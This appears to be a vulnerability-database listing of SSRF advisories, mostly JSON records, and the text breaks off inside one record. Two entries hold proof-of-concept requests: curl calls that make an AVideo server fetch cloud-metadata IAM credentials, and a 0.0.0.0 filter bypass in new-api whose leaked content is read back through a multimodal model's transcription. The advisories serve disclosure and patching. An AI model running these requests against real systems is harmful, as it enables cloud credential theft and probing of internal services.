Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-V3WH-98RQ-2X2M

Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in 2day.Sk, Webikon SuperFaktura WooCommerce.This issue affects SuperFaktura WooCommerce: from n/a through 1.40.3.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-32803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T08:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in 2day.Sk, Webikon SuperFaktura WooCommerce.This issue affects SuperFaktura WooCommerce: from n/a through 1.40.3.",
  "id": "GHSA-v3wh-98rq-2x2m",
  "modified": "2026-04-28T21:34:52Z",
  "published": "2024-04-24T09:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32803"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/woocommerce-superfaktura/wordpress-superfaktura-woocommerce-plugin-1-40-3-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V44Q-7W5X-W6HW

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details

An SSRF issue was discovered in Zoho ManageEngine Applications Manager build 15200.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-35512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-21T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An SSRF issue was discovered in Zoho ManageEngine Applications Manager build 15200.",
  "id": "GHSA-v44q-7w5x-w6hw",
  "modified": "2022-05-24T19:18:27Z",
  "published": "2022-05-24T19:18:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35512"
    },
    {
      "type": "WEB",
      "url": "https://www.esecforte.com/server-side-request-forgery-india-ssrf-rvd-manage-engine"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/applications_manager/release-notes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V467-G7G7-HHFH

Vulnerability from github – Published: 2026-03-19 12:43 – Updated: 2026-04-13 17:40
VLAI
Summary
AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation
Details

Summary

The Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.

Details

The vulnerable code is at plugin/Scheduler/Scheduler.php:157-166:

// Line 157: callback URL retrieved and site-root token substituted
$callBackURL = $e->getCallbackURL();
$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);
if (!isValidURL($callBackURL)) {
    return false;
}
// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)
// The critical missing check is:
// if (!isSSRFSafeURL($callBackURL)) { return false; }
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);

isValidURL() in objects/functions.php uses filter_var($url, FILTER_VALIDATE_URL) — it validates URL syntax only and does not block internal/private network targets.

isSSRFSafeURL() in objects/functions.php:4021 explicitly blocks: - 127.x.x.x / ::1 (loopback) - 10.x.x.x, 172.16-31.x.x, 192.168.x.x (RFC-1918 private) - 169.254.x.x (link-local, including AWS/GCP metadata at 169.254.169.254) - IPv6 private ranges

This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit 0e5638292) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.

An admin can configure the callbackURL for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface.

PoC

# Step 1: Authenticate as admin

# Step 2: Create a scheduled task with cloud metadata SSRF callback
curl -b "admin_session=<session>" -X POST \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \
  -d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00"

# Step 3: Trigger immediate execution via Scheduler run endpoint
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/run.php

# Step 4: Read the scheduler execution logs
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php
# Response includes the AWS metadata API response with IAM role credentials

Expected: Internal network addresses rejected before HTTP request is made. Actual: The server makes an HTTP request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the response (including AWS IAM role credentials) is stored in the scheduler execution log.

Impact

  • Cloud credential theft: On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (169.254.169.254), potentially enabling privilege escalation within the cloud environment.
  • Internal service probing: The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.
  • Incomplete patch amplification: The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added isSSRFSafeURL() to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.
  • Blast radius: Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.

Recommended Fix

Add isSSRFSafeURL() validation to the Scheduler callback URL before url_get_contents() is called, consistent with the existing SSRF fixes in plugin/LiveLinks/proxy.php and objects/aVideoEncoder.json.php:

$callBackURL = $e->getCallbackURL();
if (!isValidURL($callBackURL)) {
    return false;
}
// Add this SSRF check — same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):
if (!isSSRFSafeURL($callBackURL)) {
    _error_log("Scheduler::run SSRF protection blocked callbackURL: " . $callBackURL);
    return false;
}
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);
Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:43:23Z",
    "nvd_published_at": "2026-03-21T00:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Scheduler plugin\u0027s `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler\u0027s callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.\n\n## Details\n\nThe vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`:\n\n```php\n// Line 157: callback URL retrieved and site-root token substituted\n$callBackURL = $e-\u003egetCallbackURL();\n$callBackURL = str_replace(\u0027$SITE_ROOT_TOKEN\u0027, $global[\u0027webSiteRootURL\u0027], $callBackURL);\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)\n// The critical missing check is:\n// if (!isSSRFSafeURL($callBackURL)) { return false; }\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```\n\n`isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` \u2014 it validates URL syntax only and does not block internal/private network targets.\n\n`isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks:\n- `127.x.x.x` / `::1` (loopback)\n- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private)\n- `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`)\n- IPv6 private ranges\n\nThis function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.\n\nAn admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the \"Run now\" interface.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as admin\n\n# Step 2: Create a scheduled task with cloud metadata SSRF callback\ncurl -b \"admin_session=\u003csession\u003e\" -X POST \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \\\n  -d \"callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026status=a\u0026type=\u0026date_to_execute=2026-03-18+12:00:00\"\n\n# Step 3: Trigger immediate execution via Scheduler run endpoint\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/run.php\n\n# Step 4: Read the scheduler execution logs\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php\n# Response includes the AWS metadata API response with IAM role credentials\n```\n\n**Expected:** Internal network addresses rejected before HTTP request is made.\n**Actual:** The server makes an HTTP request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and the response (including AWS IAM role credentials) is stored in the scheduler execution log.\n\n## Impact\n\n- **Cloud credential theft:** On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (`169.254.169.254`), potentially enabling privilege escalation within the cloud environment.\n- **Internal service probing:** The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.\n- **Incomplete patch amplification:** The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added `isSSRFSafeURL()` to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.\n- **Blast radius:** Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation to the Scheduler callback URL before `url_get_contents()` is called, consistent with the existing SSRF fixes in `plugin/LiveLinks/proxy.php` and `objects/aVideoEncoder.json.php`:\n\n```php\n$callBackURL = $e-\u003egetCallbackURL();\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// Add this SSRF check \u2014 same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):\nif (!isSSRFSafeURL($callBackURL)) {\n    _error_log(\"Scheduler::run SSRF protection blocked callbackURL: \" . $callBackURL);\n    return false;\n}\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```",
  "id": "GHSA-v467-g7g7-hhfh",
  "modified": "2026-04-13T17:40:20Z",
  "published": "2026-03-19T12:43:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-v467-g7g7-hhfh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/issues/10403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation"
}

GHSA-V4GR-CW6X-C3JW

Vulnerability from github – Published: 2022-01-25 00:00 – Updated: 2022-01-29 00:00
VLAI
Details

Dell EMC Data Protection Central versions 19.5 and prior contain a Server Side Request Forgery vulnerability in the DPC DNS client processing. A remote malicious user could potentially exploit this vulnerability, allowing port scanning of external hosts.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-36349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-24T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell EMC Data Protection Central versions 19.5 and prior contain a Server Side Request Forgery vulnerability in the DPC DNS client processing. A remote malicious user could potentially exploit this vulnerability, allowing port scanning of external hosts.",
  "id": "GHSA-v4gr-cw6x-c3jw",
  "modified": "2022-01-29T00:00:57Z",
  "published": "2022-01-25T00:00:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36349"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/000195103"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V4HW-9W3F-HCGH

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-11-07 03:30
VLAI
Details

An issue in Open-Source Technology Committee SRS real-time video server RS/4.0.268(Leo) and SRS/4.0.195(Leo) allows a remote attacker to execute arbitrary code via a crafted request.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-33250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:37:30Z",
    "severity": "HIGH"
  },
  "details": "An issue in Open-Source Technology Committee SRS real-time video server RS/4.0.268(Leo) and SRS/4.0.195(Leo) allows a remote attacker to execute arbitrary code via a crafted request.",
  "id": "GHSA-v4hw-9w3f-hcgh",
  "modified": "2024-11-07T03:30:31Z",
  "published": "2024-05-14T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33250"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hacker2004/cccccckkkkkk/blob/main/CVE-2024-33250.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V4MM-Q8FV-R2W5

Vulnerability from github – Published: 2024-04-09 09:31 – Updated: 2025-10-15 15:46
VLAI
Summary
WildFly Elytron: SSRF security issue
Details

A flaw was found inJwtValidator.resolvePublicKey in JBoss EAP, where the validator checks jku and sends a HTTP request. During this process, no whitelisting or other filtering behavior is performed on the destination URL address, which may result in a server-side request forgery (SSRF) vulnerability.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wildfly.security:wildfly-elytron-realm-token"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0.CR1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-09T18:53:09Z",
    "nvd_published_at": "2024-04-09T07:15:08Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in` JwtValidator.resolvePublicKey` in JBoss EAP, where the validator checks jku and sends a HTTP request. During this process, no whitelisting or other filtering behavior is performed on the destination URL address, which may result in a server-side request forgery (SSRF) vulnerability.",
  "id": "GHSA-v4mm-q8fv-r2w5",
  "modified": "2025-10-15T15:46:43Z",
  "published": "2024-04-09T09:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wildfly/wildfly/pull/17812/commits/0c02350bc0d84287bed46e7c32f90b36e50d3523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wildfly/wildfly/commit/aa151a00d75d6dbc4a1bf1b68d58b9de3087bb62"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3559"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3560"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3561"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3563"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3580"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3581"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3583"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:9582"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:9583"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1233"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2262849"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wildfly-security/wildfly-elytron"
    },
    {
      "type": "WEB",
      "url": "https://issues.redhat.com/browse/WFLY-19226"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WildFly Elytron: SSRF security issue"
}

GHSA-V4QH-6367-4CX2

Vulnerability from github – Published: 2020-02-04 22:38 – Updated: 2021-08-19 16:54
VLAI
Summary
Server-Side Request Forgery (SSRF) in Apache Olingo
Details

Apache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.olingo:odata-client-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-02-04T22:35:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Apache Olingo versions 4.0.0 to 4.7.0 provide the AsyncRequestWrapperImpl class which reads a URL from the Location header, and then sends a GET or DELETE request to this URL. It may allow to implement a SSRF attack. If an attacker tricks a client to connect to a malicious server, the server can make the client call any URL including internal resources which are not directly accessible by the attacker.",
  "id": "GHSA-v4qh-6367-4cx2",
  "modified": "2021-08-19T16:54:36Z",
  "published": "2020-02-04T22:38:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1925"
    },
    {
      "type": "WEB",
      "url": "https://mail-archives.apache.org/mod_mbox/olingo-user/202001.mbox/%3CCAGSZ4d6HwpF2woOrZJg_d0SkHytXJaCtAWXa3ZtBn33WG0YFvw%40mail.gmail.com%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery (SSRF) in Apache Olingo"
}

GHSA-V57F-FQVF-VC6V

Vulnerability from github – Published: 2025-02-03 15:32 – Updated: 2026-04-01 18:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in NotFound Traveler Layout Essential For Elementor. This issue affects Traveler Layout Essential For Elementor: from n/a through 1.0.8.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-22701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-03T15:15:19Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in NotFound Traveler Layout Essential For Elementor. This issue affects Traveler Layout Essential For Elementor: from n/a through 1.0.8.",
  "id": "GHSA-v57f-fqvf-vc6v",
  "modified": "2026-04-01T18:33:31Z",
  "published": "2025-02-03T15:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22701"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/traveler-layout-essential-for-elementor/vulnerability/wordpress-traveler-layout-essential-for-elementor-plugin-1-0-8-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V5C3-6WVC-PC2Q

Vulnerability from github – Published: 2026-05-06 17:23 – Updated: 2026-05-13 13:38
VLAI
Summary
QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0
Details

SSRF Filter Bypass via 0.0.0.0

Summary

The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.

Details

Root Cause

common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16
  • 127.0.0.0/8
  • 169.254.0.0/16
  • 224.0.0.0/4
  • 240.0.0.0/4

0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.

Default Fetch Settings

setting/system_setting/fetch_setting.go (lines 16–24) defaults:

  • EnableSSRFProtection: true
  • AllowPrivateIp: false
  • AllowedPorts: ["80", "443", "8080", "8443"]
  • ApplyIPFilterForDomain: true

So 0.0.0.0 on any of these four ports passes all checks.

Data Flow (primary chain — /v1/chat/completions)

User API token
→ /v1/chat/completions  (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143  loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68       ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0

Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

Endpoint User-controlled field Auth required
/v1/chat/completions image_url.url, file.file_data, video_url Regular user token
/v1/responses input_file.file_url, input_image.image_url Regular user token
/v1/messages source.url (type: "url") Regular user token
/api/user/setting webhook_url, bark_url, gotify_url Regular user (self)

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

  • If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
  • When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path
  • The fetched content is rewritten to type: "base64" and inlined into the model request
  • The model then describes/transcribes the content in its response

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://127.0.0.1:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://0.0.0.0:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "claude-3-5-sonnet-latest",
  "stream": false,
  "max_tokens": 32,
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Transcribe exactly the text in the image. Output only the text."
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

  1. Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.
  2. Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
  3. Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

  1. Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrf_protection.go)
  2. Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
  3. 0.0.0.0/8 ("This network")
  4. 100.64.0.0/10 (Carrier-grade NAT)
  5. 198.18.0.0/15 (Benchmarking)
  6. IPv6 equivalents: ::1, ::, [::], fe80::/10
  7. Apply the same IP validation to post-redirect targets (already partially addressed in service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)

Resources

  • CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
  • CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6
Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
